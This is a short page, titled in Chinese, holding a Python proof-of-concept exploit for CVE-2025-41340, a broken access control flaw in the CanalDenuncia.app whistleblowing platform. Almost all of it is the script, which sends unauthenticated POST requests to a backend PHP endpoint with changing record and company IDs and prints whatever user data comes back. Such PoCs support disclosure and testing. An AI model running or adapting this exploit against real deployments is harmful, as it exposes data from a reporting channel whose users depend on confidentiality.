CVE-2025-41340 CanalDenuncia.app 授权缺失漏洞导致用户信息泄露

import requests import json # CVE-2025-41340 PoC - CanalDenuncia.app Authorization Bypass # Target: /backend/api/buscarTipoDenunciabyId.php # Vulnerability: Broken Access Control - Unauthorized access to other users' data target_url = "http://target.com/backend/api/buscarTipoDenunciabyId.php" # Payload to exploit the authorization bypass vulnerability # Attacker can access other users' information by manipulating id_tp_denuncia and id_sociedad parameters payloads = [ {"id_tp_denuncia": "1", "id_sociedad": "1"}, {"id_tp_denuncia": "2", "id_sociedad": "1"}, {"id_tp_denuncia": "1", "id_sociedad": "2"}, ] print("[*] CVE-2025-41340 PoC - Testing CanalDenuncia.app Authorization Bypass") print("[*] Target:", target_url) print("=" * 60) for i, payload in enumerate(payloads, 1): print(f"\n[*] Test Case {i}: Testing id_tp_denuncia={payload['id_tp_denuncia']}, id_sociedad={payload['id_sociedad']}") # Send POST request without authentication try: response = requests.post(target_url, data=payload, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)} bytes") if response.status_code == 200: try: json_response = response.json() if json_response: print(f"[!] VULNERABLE: Successfully accessed data without authorization") print(f"[+] Response Data: {json.dumps(json_response, indent=2, ensure_ascii=False)}") except json.JSONDecodeError: print(f"[+] Response: {response.text[:500]}") else: print(f"[-] Request failed with status {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") print("\n[*] PoC execution completed") print("[*] Note: No authentication required to exploit this vulnerability")